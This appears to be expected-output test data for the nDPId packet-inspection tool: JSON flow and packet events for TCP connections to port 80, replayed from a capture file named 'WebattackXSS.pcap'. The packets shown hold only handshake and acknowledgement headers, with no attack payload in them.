+00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1873,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":6,"flow_first_seen":1499347123174,"flow_last_seen":1499347128646,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53852,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1873,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":6,"flow_first_seen":1499347124454,"flow_last_seen":1499347129648,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53866,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1873,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":6,"flow_first_seen":1499347124454,"flow_last_seen":1499347129648,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53866,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1873,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":6,"flow_first_seen":1499347125743,"flow_last_seen":1499347131649,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53880,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1873,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":6,"flow_first_seen":1499347125743,"flow_last_seen":1499347131649,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53880,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1876,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":132,"flow_packet_id":1,"flow_first_seen":1499347192547,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54580,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":132,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1876,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347192,"pkt_ts_usec":547043,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8NKNAAD4GkS2sEAABwKgKMtU0AFBlD\/cgAAAAAKACchBokgAAAgQFtAQCCAoBOcODAAAAAAEDAwc="} +00445{"flow_id":132,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1877,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347192,"pkt_ts_usec":547169,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1TRgTBA1ZQ\/3IaAScSBgEgAAAgQFtAQCCAoD45T6ATnDgwEDAwc="} +00434{"flow_id":132,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1878,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347192,"pkt_ts_usec":547915,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NKRAAD4GkTSsEAABwKgKMtU0AFBlD\/chYEwQNoAQAOX\/GAAAAQEICgE5w4QD45T6"} +00432{"flow_id":128,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1882,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347192,"pkt_ts_usec":665996,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aSlAAD4GXK+sEAABwKgKMtT8AFBu8NeG076weYARAOUGGQAAAQEICgE5w6ED45AY"} +00432{"flow_id":128,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1883,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347192,"pkt_ts_usec":666172,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0JWFAAEAGnnfAqAoyrBAAAQBQ1PzTvrB5bvDXh4ARAOMBGgAAAQEICgPjlRgBOcOh"} +00432{"flow_id":128,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1884,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347192,"pkt_ts_usec":666944,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aSpAAD4GXK6sEAABwKgKMtT8AFBu8NeH076weoAQAOUBGAAAAQEICgE5w6ED45UY"} +00434{"flow_id":129,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1891,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347194,"pkt_ts_usec":666743,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0dE9AAD4GUYmsEAABwKgKMtUKAFDFBMuXr\/rk94ARAOWn\/gAAAQEICgE5xZUD45FR"} +00433{"flow_id":129,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1892,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347194,"pkt_ts_usec":666932,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0c\/tAAEAGT93AqAoyrBAAAQBQ1Qqv+uT3xQTLmIARAOOiRAAAAQEICgPjlwwBOcWV"} +00433{"flow_id":129,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1893,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347194,"pkt_ts_usec":667665,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0dFBAAD4GUYisEAABwKgKMtUKAFDFBMuYr\/rk+IAQAOWiQQAAAQEICgE5xZYD45cM"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1897,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":133,"flow_packet_id":1,"flow_first_seen":1499347195099,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54606,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":133,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1897,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347195,"pkt_ts_usec":99621,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8oYJAAD4GJE6sEAABwKgKMtVOAFAI3GeAAAAAAKACchBRzQAAAgQFtAQCCAoBOcYCAAAAAAEDAwc="} +00443{"flow_id":133,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1898,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347195,"pkt_ts_usec":99731,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1U4LxrqfCNxngaAScSDw6gAAAgQFtAQCCAoD45d4ATnGAgEDAwc="} +00432{"flow_id":133,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1899,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347195,"pkt_ts_usec":100507,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0oYNAAD4GJFWsEAABwKgKMtVOAFAI3GeBC8a6oIAQAOWP8gAAAQEICgE5xgID45d4"} +00432{"flow_id":130,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1903,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347195,"pkt_ts_usec":666765,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA08xVAAD4G0sKsEAABwKgKMtUYAFBhEDIBUkDiFIARAOUD5gAAAQEICgE5xo8D45KK"} +00432{"flow_id":130,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1904,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347195,"pkt_ts_usec":666981,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ehJAAEAGScbAqAoyrBAAAQBQ1RhSQOIUYRAyAoARAOP+agAAAQEICgPjmAYBOcaP"} +00432{"flow_id":130,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1905,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347195,"pkt_ts_usec":667542,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA08xZAAD4G0sGsEAABwKgKMtUYAFBhEDICUkDiFYAQAOX+ZwAAAQEICgE5xpAD45gG"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1909,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":134,"flow_packet_id":1,"flow_first_seen":1499347196341,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54620,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":134,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1909,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347196,"pkt_ts_usec":341596,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8LeJAAD4Gl+6sEAABwKgKMtVcAFCW1uraAAAAAKACchA\/NAAAAgQFtAQCCAoBOcc4AAAAAAEDAwc="} +00445{"flow_id":134,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1910,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347196,"pkt_ts_usec":341721,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1Vx\/2Nugltbq26AScSBICAAAAgQFtAQCCAoD45iuATnHOAEDAwc="} +00433{"flow_id":134,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1911,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347196,"pkt_ts_usec":342475,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LeNAAD4Gl\/WsEAABwKgKMtVcAFCW1urbf9jboYAQAOXnDwAAAQEICgE5xzgD45iu"} +00432{"flow_id":131,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1915,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347196,"pkt_ts_usec":667004,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0a9ZAAD4GWgKsEAABwKgKMtUmAFBoHamZoviBF4ARAOWTRQAAAQEICgE5x4kD45PC"} +00432{"flow_id":131,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1916,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347196,"pkt_ts_usec":667233,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0GBdAAEAGq8HAqAoyrBAAAQBQ1Sai+IEXaB2pmoARAOOOCAAAAQEICgPjmQABOceJ"} +00432{"flow_id":131,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1917,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347196,"pkt_ts_usec":667988,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0a9dAAD4GWgGsEAABwKgKMtUmAFBoHamaoviBGIAQAOWOBQAAAQEICgE5x4oD45kA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1922,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":135,"flow_packet_id":1,"flow_first_seen":1499347197627,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54634,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":135,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1922,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347197,"pkt_ts_usec":627967,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8jKtAAD4GOSWsEAABwKgKMtVqAFDoUUTRAAAAAKACchCScgAAAgQFtAQCCAoBOch6AAAAAAEDAwc="} +00444{"flow_id":135,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1923,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347197,"pkt_ts_usec":628060,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1WoUz7Ep6FFE0qAScSAvhQAAAgQFtAQCCAoD45nwATnIegEDAwc="} +00432{"flow_id":135,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1924,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347197,"pkt_ts_usec":628711,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jKxAAD4GOSysEAABwKgKMtVqAFDoUUTSFM+xKoAQAOXOjAAAAQEICgE5yHoD45nw"} +00433{"flow_id":132,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1927,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347197,"pkt_ts_usec":668309,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NKVAAD4GkTOsEAABwKgKMtU0AFBlD\/chYEwQNoARAOX6FwAAAQEICgE5yIQD45T6"} +00433{"flow_id":132,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1928,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347197,"pkt_ts_usec":668531,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0icxAAEAGOgzAqAoyrBAAAQBQ1TRgTBA2ZQ\/3IoARAOP1GAAAAQEICgPjmfoBOciE"} +00433{"flow_id":132,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1929,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347197,"pkt_ts_usec":669265,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NKZAAD4GkTKsEAABwKgKMtU0AFBlD\/ciYEwQN4AQAOX1FgAAAQEICgE5yIQD45n6"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1939,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":1,"flow_first_seen":1499347200170,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54660,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":136,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1939,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347200,"pkt_ts_usec":170946,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8egdAAD4GS8msEAABwKgKMtWEAFAb8rDyAAAAAKACchDwGwAAAgQFtAQCCAoBOcr1AAAAAAEDAwc="} +00445{"flow_id":136,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1940,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347200,"pkt_ts_usec":171056,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1YQCBmJ3G\/Kw86AScSDsLQAAAgQFtAQCCAoD45xsATnK9QEDAwc="} +00432{"flow_id":136,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1941,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347200,"pkt_ts_usec":171661,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0eghAAD4GS9CsEAABwKgKMtWEAFAb8rDzAgZieIAQAOWLNAAAAQEICgE5yvYD45xs"} +00432{"flow_id":133,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1945,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347200,"pkt_ts_usec":669122,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0oYRAAD4GJFSsEAABwKgKMtVOAFAI3GeBC8a6oIARAOWKgQAAAQEICgE5y3ID45d4"} +00432{"flow_id":133,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1946,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347200,"pkt_ts_usec":669309,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0JkhAAEAGnZDAqAoyrBAAAQBQ1U4LxrqgCNxngoARAOOFEgAAAQEICgPjnOgBOcty"} +00432{"flow_id":133,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1947,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347200,"pkt_ts_usec":670049,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0oYVAAD4GJFOsEAABwKgKMtVOAFAI3GeCC8a6oYAQAOWFEAAAAQEICgE5y3ID45zo"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1951,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_first_seen":1499347201471,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54674,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":137,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1951,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347201,"pkt_ts_usec":471316,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8JERAAD4GoYysEAABwKgKMtWSAFCOe+h\/AAAAAKACchBEsQAAAgQFtAQCCAoBOcw7AAAAAAEDAwc="} +00444{"flow_id":137,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1952,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347201,"pkt_ts_usec":471439,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1ZJxUzmIjnvogKAScSD5HwAAAgQFtAQCCAoD452xATnMOwEDAwc="} +00432{"flow_id":137,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1953,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347201,"pkt_ts_usec":472194,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JEVAAD4GoZOsEAABwKgKMtWSAFCOe+iAcVM5iYAQAOWYJwAAAQEICgE5zDsD452x"} +00433{"flow_id":134,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1957,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347201,"pkt_ts_usec":669770,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LeRAAD4Gl\/SsEAABwKgKMtVcAFCW1urbf9jboYARAOXh2gAAAQEICgE5zGwD45iu"} +00433{"flow_id":134,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1958,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347201,"pkt_ts_usec":669934,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0RkNAAEAGfZXAqAoyrBAAAQBQ1Vx\/2Nuhltbq3IAQAOPcpwAAAQEICgPjneMBOcxs"} +00433{"flow_id":134,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1959,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347201,"pkt_ts_usec":669959,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0RkRAAEAGfZTAqAoyrBAAAQBQ1Vx\/2Nuhltbq3IARAOPcpgAAAQEICgPjneMBOcxs"} +00432{"flow_id":134,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1960,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347201,"pkt_ts_usec":670504,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qMxAAD4GHQysEAABwKgKMtVcAFCW1urcf9jbooAQAOXcpAAAAQEICgE5zGwD453j"} 